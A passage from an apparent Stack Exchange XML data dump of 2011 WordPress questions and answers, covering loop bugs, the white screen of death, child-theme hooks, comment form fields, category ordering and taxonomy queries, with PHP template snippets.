href=&quot;http://inkandpixelclub.com/2011/02/friday-fun-link-the-animation-anomaly/&quot; rel=&quot;nofollow&quot;&gt;This is the most recent post being skipped.&lt;/a&gt; I think I'm still limited to one link, so you can navigate to my main page from there and see how it doesn't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: My loops code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_home() &amp;amp;&amp;amp; !is_paged()): ?&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/featured.php'); ?&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (in_category('292')) continue; ?&amp;gt;&#xA;&amp;lt;?php if (in_category('301')) continue; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s', 'minimalism'), the_title_attribute('echo=0')); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;small&amp;gt;&amp;lt;?php the_time(__('F jS, Y', 'minimalism')) ?&amp;gt; by &amp;lt;?php the_author() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php the_content(__('Read the rest of this entry &amp;amp;raquo;', 'minimalism')); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags(__('Tags:', 'minimalism') . ' ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; &amp;lt;?php printf(__('Posted in %s', 'minimalism'), get_the_category_list(', ')); ?&amp;gt; | &amp;lt;?php edit_post_link(__('Edit', 'minimalism'), '', ' | '); ?&amp;gt;  &amp;lt;?php comments_popup_link(__('No Comments &amp;amp;#187;', 'minimalism'), __('1 Comment &amp;amp;#187;', 'minimalism'), __('% Comments &amp;amp;#187;', 'minimalism'), '', __('Comments Closed', 'minimalism') ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use a lot of plugins and i can list all of them if needs be, but I think the ones that have a chance of being relevant to this problem are Front Slider, Share and Follow, and W3 Total Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UP-TO-DATIER UPDATE: featured.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php include (ABSPATH . '/wp-content/plugins/front-slider/front-slider.php');?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;sidefeature&quot; class=&quot;narrowcolumn&quot;&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php static $count = 0;&#xA;if ($count == &quot;3&quot;) { break; }&#xA;else { ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( in_category('292') &amp;amp;&amp;amp; !is_single() ) continue; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;sidepost&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s', 'minimalism'), the_title_attribute('echo=0')); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php $count++; } ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2436" LastEditorUserId="2436" LastEditorDisplayName="" LastEditDate="2011-02-25T15:19:10.663" LastActivityDate="2011-02-25T15:19:10.663" Title="Loop is skipping posts that it shouldn't" Tags="&lt;categories&gt;&lt;loop&gt;" CommentCount="4" />
  <row Id="10011" PostTypeId="1" AcceptedAnswerId="10012" CreationDate="2011-02-21T23:17:47.203" Score="0" ViewCount="106" Body="&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://golfaccessoriesreview.com/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://golfaccessoriesreview.com/wp-admin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-02-22T02:04:08.713" Title="What does it mean when my wp-admin simply shows blank?" Tags="&lt;admin&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10012" PostTypeId="2" ParentId="10011" CreationDate="2011-02-21T23:47:40.833" Score="2" ViewCount="" Body="&lt;p&gt;It's called the White Screen Of Death (WSOD).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means there's a fatal error that prevents the page from displaying. You can see the error by either looking at the error log or by enabling WP_DEBUG from wp-config.php&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-21T23:47:40.833" />
  <row Id="10013" PostTypeId="2" ParentId="9989" CreationDate="2011-02-21T23:52:44.790" Score="2" ViewCount="" Body="&lt;p&gt;So you're trying to execute code from the child's functions.php, but after the parent theme has loaded. Simple, just use a custom action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of &lt;code&gt;parent/functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('parent_loaded');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;child/functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parent_loaded() {&#xA;    // do init stuff&#xA;}&#xA;add_action('parent_loaded', 'parent_loaded');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All parent themes worth their salt do it this way. What's more, they have several other actions and filters sprinkled around for the child theme to use.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-22T00:13:06.560" LastActivityDate="2011-02-22T00:13:06.560" CommentCount="4" />
  <row Id="10014" PostTypeId="1" AcceptedAnswerId="10048" CreationDate="2011-02-22T00:09:27.737" Score="0" ViewCount="305" Body="&lt;p&gt;I'm working on a custom theme that is based off of &lt;em&gt;Starkers html5 3.0&lt;/em&gt; and use that theme's comment system. I have followed custom_form tutorials by &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;Otto&lt;/a&gt;, &lt;a href=&quot;http://www.soapboxdave.com/2010/02/using-wordpress-comment-meta/&quot; rel=&quot;nofollow&quot;&gt;Soapbox Dave&lt;/a&gt;, &lt;a href=&quot;http://j3webworks.com/blog/wordpress-comments-meta-data-adding-a-checkbox&quot; rel=&quot;nofollow&quot;&gt;forlogos&lt;/a&gt;, and &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/display-comment-form-wordpress-30.html&quot; rel=&quot;nofollow&quot;&gt;Deluxe Blog Tips&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of my code seems to be functioning properly except that I cannot get any of the fields outside of comment_form_default_fields to display. This theme is setup as a child theme but there is no comment code in the parent yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me find the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related functions.php code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//   Custom Callback - Comments&#xA;if ( ! function_exists( 'starkers_comment' ) ) :&#xA;/**&#xA; * Template for comments and pingbacks.&#xA; *&#xA; * @since Starkers HTML5 3.0&#xA; */&#xA;function starkers_comment( $comment, $args, $depth ) {&#xA;    $GLOBALS['comment'] = $comment;&#xA;    switch ( $comment-&amp;gt;comment_type ) :&#xA;        case '' :&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;article &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php comment_author_link() ?&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php echo esc_url( get_comment_link( $comment-&amp;gt;comment_ID ) ); ?&amp;gt;&quot;&amp;gt; &#xA;        &amp;lt;?php echo time_ago(); ?&amp;gt;&amp;lt;/a&amp;gt; ... &amp;lt;?php comment_reply_link( array_merge( $args, array( 'depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth'] ) ) ); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( $comment-&amp;gt;comment_approved == '0' ) : _e( 'Your comment is awaiting moderation.', 'starkers' ); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php endif; &#xA;&#xA;        comment_text(); ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;            break;&#xA;        case 'pingback'  :&#xA;        case 'trackback' :&#xA;    ?&amp;gt;&#xA;    &amp;lt;article &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Pingback:', 'starkers' ); ?&amp;gt; &amp;lt;?php comment_author_link(); ?&amp;gt;&amp;lt;?php edit_comment_link( __('(Edit)', 'starkers'), ' ' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;            break;&#xA;    endswitch;&#xA;}&#xA;endif;&#xA;&#xA;/**&#xA; * Closes comments and pingbacks with &amp;lt;/article&amp;gt; instead of &amp;lt;/li&amp;gt;.&#xA; *&#xA; * @since Starkers HTML5 3.0&#xA; */&#xA;function starkers_comment_close() {&#xA;    echo '&amp;lt;/article&amp;gt;';&#xA;}&#xA;&#xA;/**&#xA; * Adjusts the comment_form() input types for HTML5.&#xA; *&#xA; * @since Starkers HTML5 3.0&#xA; */&#xA;function starkers_fields($fields) {&#xA;$commenter = wp_get_current_commenter();&#xA;$req = get_option( 'require_name_email' );&#xA;$aria_req = ( $req ? &quot; aria-required='true'&quot; : '' );&#xA;$fields =  array(&#xA;    'author' =&amp;gt; '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;author&quot;&amp;gt;' . __( 'Name' ) . '&amp;lt;/label&amp;gt; ' . ( $req ? '*' : '' ) .&#xA;        '&amp;lt;input id=&quot;author&quot; name=&quot;author&quot; type=&quot;text&quot; value=&quot;' . esc_attr( $commenter['comment_author'] ) . '&quot; size=&quot;30&quot;' . $aria_req . ' /&amp;gt;&amp;lt;/p&amp;gt;',&#xA;    'email'  =&amp;gt; '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;' . __( 'Email' ) . '&amp;lt;/label&amp;gt; ' . ( $req ? '*' : '' ) .&#xA;        '&amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;email&quot; value=&quot;' . esc_attr(  $commenter['comment_author_email'] ) . '&quot; size=&quot;30&quot;' . $aria_req . ' /&amp;gt;&amp;lt;/p&amp;gt;',&#xA;    'url'    =&amp;gt; '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;url&quot;&amp;gt;' . __( 'Website' ) . '&amp;lt;/label&amp;gt;' .&#xA;        '&amp;lt;input id=&quot;url&quot; name=&quot;url&quot; type=&quot;url&quot; value=&quot;' . esc_attr( $commenter['comment_author_url'] ) . '&quot; size=&quot;30&quot; /&amp;gt;&amp;lt;/p&amp;gt;',&#xA;);&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_default_fields','starkers_fields');&#xA;&#xA;function my_fields($fields) {&#xA;$fields['new'] = '&amp;lt;p&amp;gt;red rover 1&amp;lt;/p&amp;gt;';&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_top','my_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;comments.php code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'This post is password protected. Enter the password to view any comments.', 'starkers' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php return; endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php // You can start editing here -- including this comment! ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_comments() ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;trirow_875h&quot; id=&quot;comments-title&quot;&amp;gt;&amp;lt;h4 class=&quot;cufon&quot;&amp;gt;Activities&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;trirow_875m&quot; style=&quot;padding:10px 15px;&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php if ( get_comment_pages_count() &amp;gt; 1 &amp;amp;&amp;amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&amp;gt;&#xA;    &amp;lt;nav&amp;gt;&#xA;        &amp;lt;?php previous_comments_link( __( '&amp;amp;larr; Older Comments', 'starkers' ) ); ?&amp;gt;&#xA;        &amp;lt;?php next_comments_link( __( 'Newer Comments &amp;amp;rarr;', 'starkers' ) ); ?&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;?php endif; // check for comment navigation&#xA;&#xA;    wp_list_comments( array( 'style' =&amp;gt; 'div', 'callback' =&amp;gt; 'starkers_comment', 'end-callback' =&amp;gt; 'starkers_comment_close' ) );&#xA;&#xA;    if ( get_comment_pages_count() &amp;gt; 1 &amp;amp;&amp;amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&amp;gt;&#xA;    &amp;lt;nav&amp;gt;&#xA;        &amp;lt;?php previous_comments_link( __( '&amp;amp;larr; Older Comments', 'starkers' ) ); ?&amp;gt;&#xA;        &amp;lt;?php next_comments_link( __( 'Newer Comments &amp;amp;rarr;', 'starkers' ) ); ?&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // check for comment navigation &#xA;          else : // or, if we don't have comments:&#xA;            if ( ! comments_open() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Comments are closed.', 'starkers' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; // end ! comments_open() &#xA;          endif; // end have_comments() &#xA;          ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;trirow_875b&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;Is there anybody out there?&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_user_id&quot; value=&quot;&amp;lt;?php echo $myid; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-02-22T07:38:43.950" Title="Why could my comment_form variable not be working?" Tags="&lt;comments&gt;&lt;functions&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="10015" PostTypeId="1" CreationDate="2011-02-22T00:09:59.257" Score="0" ViewCount="160" Body="&lt;p&gt;Trying to display a category by an odd sequence and have the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('orderby=id&amp;amp;include=4,5,6,7,8,9,10,72,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice after ID #10 it jumps to ID #72.  How can I code this better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:  Names are not alphabetical and numbers are not sequential, so just need to display IDs #4 to #10, #72, #11 to #41 listed in that order.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Respectfully,&#xA;jw&lt;/p&gt;&#xA;" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-22T01:23:29.543" LastActivityDate="2011-02-22T03:43:24.877" Title="wp_list_categories : how do I sort by ID when IDs are not sequential" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="10016" PostTypeId="1" AcceptedAnswerId="10019" CreationDate="2011-02-22T00:15:11.057" Score="2" ViewCount="128" Body="&lt;p&gt;Is there any way I can use &lt;code&gt;is_single()&lt;/code&gt; inside of my plugin's functions.php file? Currently, this is what my code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_single()) :&#xA;    function my_template() {&#xA;        include(PLUGINDIR . '/supersqueeze/all.php');&#xA;        exit;&#xA;    }&#xA;    add_action('template_redirect', 'my_template');&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason, it is not working at all. If I remove &lt;code&gt;if(is_single())&lt;/code&gt;, it works but is for all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then once I get that working, I'll need to filter it once more to see if the post has a certain custom field value, lets say the name will be &lt;code&gt;Design&lt;/code&gt; and the value will be &lt;code&gt;Custom&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for anyone who can help me out.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-22T00:48:38.647" Title="template_redirect for single posts w/ custom fields" Tags="&lt;plugin-development&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="10017" PostTypeId="2" ParentId="10015" CreationDate="2011-02-22T00:24:33.970" Score="0" ViewCount="" Body="&lt;p&gt;I've not used it, but you may be interested in the &lt;a href=&quot;http://wordpress.org/extend/plugins/my-category-order/&quot; rel=&quot;nofollow&quot;&gt;My Category&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3377" LastActivityDate="2011-02-22T00:24:33.970" CommentCount="2" />
  <row Id="10019" PostTypeId="2" ParentId="10016" CreationDate="2011-02-22T00:48:38.647" Score="5" ViewCount="" Body="&lt;p&gt;The problem with your code is that you're checking is_single() when your plugin is first loaded, before the global query has run, so is_single() still returns false.  You should move the is_single() check within your my_template function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_template() {&#xA;    if(is_single() &amp;amp;&amp;amp; have_posts() &amp;amp;&amp;amp; 'Custom' == get_post_meta(get_the_ID(), 'Design')) {&#xA;    include(PLUGINDIR . '/supersqueeze/all.php');&#xA;    exit;&#xA;    }&#xA;}&#xA;add_action('template_redirect', 'my_template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-02-22T00:48:38.647" CommentCount="0" />
  <row Id="10020" PostTypeId="2" ParentId="10015" CreationDate="2011-02-22T01:10:10.920" Score="0" ViewCount="" Body="&lt;p&gt;Easy, if i understood a little bit (of your question) right...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args_include = array(4,5,6,7,8,9,10,72,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41)';&#xA;$args_include = sort( $args_include, SORT_NUMERIC);&#xA;&#xA;wp_list_categories( 'orderby=id&amp;amp;include='.$args_include );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but i guess i haven't. So, what have the &lt;em&gt;includes&lt;/em&gt; in common? And what &quot;Note: Names are not alphabetical and numbers are not sequential&quot; does that mean? I can't see any names, only IDs.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-22T01:10:10.920" CommentCount="2" />
  <row Id="10021" PostTypeId="1" CreationDate="2011-02-22T01:41:12.953" Score="0" ViewCount="172" Body="&lt;p&gt;My workflow is sometimes the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete many images from the media library at once (named for example, &lt;code&gt;01.jpg&lt;/code&gt;, &lt;code&gt;02.jpg&lt;/code&gt;, &lt;code&gt;03.jpg&lt;/code&gt;...).&lt;/li&gt;&#xA;&lt;li&gt;Re-upload a series of images with the same file names (&lt;code&gt;01.jpg&lt;/code&gt;, &lt;code&gt;02.jpg&lt;/code&gt;, &lt;code&gt;03.jpg&lt;/code&gt;...).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The media library retains and display shows the old images as thumbnails and previews, even though they are deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this problem is avoidable by adding images with distinct file names, but I wondered if there were some better way that works regardless of naming convention. Or something else that I'm completely missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-22T17:50:39.153" LastActivityDate="2011-02-22T23:16:19.393" Title="How do I force Wordpress to show most recent version of images in the media library?" Tags="&lt;media&gt;&lt;cache&gt;&lt;media-library&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="10022" PostTypeId="1" AcceptedAnswerId="10023" CreationDate="2011-02-22T01:52:44.270" Score="1" ViewCount="164" Body="&lt;pre&gt;&lt;code&gt;query_posts( array ( 'post__in' =&amp;gt; array( 5, 76, 21, 56, 3 ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to query the Loop using &lt;code&gt;post__in&lt;/code&gt; and a set Wordpress IDs. I'd then like to run through the Loop in the exact order of the query. Does anyone know if that is possible?&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2011-02-22T02:01:59.840" Title="Is it possible to query_posts using post__in and then Loop through them in the ordered they were queried?" Tags="&lt;query-posts&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="10023" PostTypeId="2" ParentId="10022" CreationDate="2011-02-22T02:01:59.840" Score="2" ViewCount="" Body="&lt;p&gt;Yes, using this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sort-query-by-post-in/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sort-query-by-post-in/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13729&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13729&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-22T02:01:59.840" CommentCount="1" />
  <row Id="10024" PostTypeId="2" ParentId="10011" CreationDate="2011-02-22T02:04:08.713" Score="0" ViewCount="" Body="&lt;p&gt;It is probably the &lt;a href=&quot;http://wordpress.stackexchange.com/q/5123/172&quot;&gt;White Screen of Death&lt;/a&gt;. That question explains it better.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2011-02-22T02:04:08.713" />
  <row Id="10025" PostTypeId="5" CreationDate="2011-02-22T02:08:01.077" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-02-22T02:08:01.077" LastActivityDate="2011-02-22T02:08:01.077" />
  <row Id="10026" PostTypeId="4" CreationDate="2011-02-22T02:08:01.077" Score="0" ViewCount="" Body="A FAQ addresses problems that are often run into during the course of routine programming." OwnerUserId="-1" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-22T16:17:49.640" LastActivityDate="2011-02-22T16:17:49.640" />
  <row Id="10027" PostTypeId="1" CreationDate="2011-02-21T23:07:26.133" Score="0" ViewCount="371" Body="&lt;p&gt;What I am trying to do is get a gallery working on a multisite wordpress installation . . It works on the home site because that is where wordpress is actually installed but not on the sub domain sites. Timthumb.php is a script that basically resizes images into a thumbnail. So on main domain it works but not on any subdomains, it doesn't show the thumb, only the main image once the thumb is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creator of timthumb.php wrote a fix at &lt;a href=&quot;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&quot; rel=&quot;nofollow&quot;&gt;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&lt;/a&gt; but I cannot work out the application for my case. Any tips?&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-14T06:34:50.390" LastActivityDate="2011-08-13T14:23:28.887" Title="Timthumb.php image gallery not working on Multisite Wordpress" Tags="&lt;php&gt;&lt;multisite&gt;&lt;gallery&gt;&lt;timthumb&gt;&lt;image-resize&gt;" AnswerCount="2" />
  <row Id="10028" PostTypeId="1" CreationDate="2011-02-21T22:27:02.973" Score="0" ViewCount="302" Body="&lt;p&gt;In the theme there is a custom post type called &lt;code&gt;faq&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to get certain post by its name (NOT by id cause no id exist).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=faq') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to get &lt;code&gt;the_tile()&lt;/code&gt; and &lt;code&gt;the_permalink()&lt;/code&gt; by its name?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:10:27.737" LastActivityDate="2011-05-10T08:10:27.737" Title="Get permalink and title by post name?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;template-tags&gt;" AnswerCount="1" />
  <row Id="10029" PostTypeId="1" CreationDate="2011-02-21T20:01:09.943" Score="1" ViewCount="340" Body="&lt;p&gt;I created a new taxonomy in WP called 'country' and have two terms items inside it: 'USA' and 'Canada'. How do I go about querying this info? I have a filter page with two checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;usa&quot; value=&quot;USA&quot; /&amp;gt; USA&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;canada&quot; value=&quot;Canada&quot; /&amp;gt; Canada&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I make the query show multiple results in case I have both boxes checked? I tried an array, but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array('country' =&amp;gt; array($_POST['usa'], $_POST['canada'])) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2011-08-12T13:22:43.677" Title="WordPress: Querying Multiple Custom Taxonomy Terms" Tags="&lt;taxonomy&gt;" AnswerCount="3" />
  <row Id="10030" PostTypeId="2" ParentId="10029" CreationDate="2011-02-21T20:28:59.407" Score="0" ViewCount="" Body="&lt;p&gt;I don't know what you really want, but use a &quot;relation&quot; could do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about it in codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-21T20:28:59.407" />
  <row Id="10031" PostTypeId="2" ParentId="10029" CreationDate="2011-02-21T21:15:36.243" Score="0" ViewCount="" Body="&lt;p&gt;You’ll have to clarify your query, but these might also be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the_terms&lt;/strong&gt; Displays the terms of a custom taxonomy: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;get_terms&lt;/strong&gt; Retrieve the terms in taxonomy or list of taxonomies:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found this after days of searching for this solution which may also be what you’re after.&#xA;&lt;a 